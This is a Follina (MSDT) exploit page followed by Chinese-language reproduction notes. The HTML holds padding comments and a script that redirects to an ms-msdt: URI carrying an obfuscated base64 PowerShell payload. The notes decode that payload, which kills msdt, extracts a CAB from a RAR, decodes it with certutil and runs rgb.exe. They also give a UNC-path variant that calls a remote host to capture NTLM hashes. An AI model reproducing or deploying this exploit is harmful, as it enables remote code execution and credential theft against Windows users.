//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


    window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>


</body>
</html>


////////////////////
powershell IEX运行
$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))




///////////////////
base64解码内容:
$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe"; # 隐藏窗口杀死msdt.exe
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe"; # 进入public目录,循环遍历 RAR 文件中的文件,查找编码 CAB


文件的 Base64 字符串
将此 Base64 编码的 CAB 文件存储为1.t
解码Base64编码的CAB文件保存为1.c
将1.c CAB文件展开到当前目录,最后:
执行rgb.exe(大概压缩在1.c CAB文件里面)

运行了rgb.exe后会释放几个文件,最后调用csc编译
(cs太长了就不贴出来了)





msdt微软官方参数解释如下:



param参数貌似微软没公开怎么调用,只给了架构图

漏洞复现

参考链接:
https://huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug
https://benjamin-altpeter.de/shell-openexternal-dangers/
https://github.com/JohnHammond/msdt-follina

tips:html注释内容不能少于4096字节
将原payload修改为以下可以远程请求获取NTLM

ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\\\192.168.92.129\\sharp\\calc.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO"



执行命令和上线


踩坑:powershell语句太长base64编码执行不成功报错如下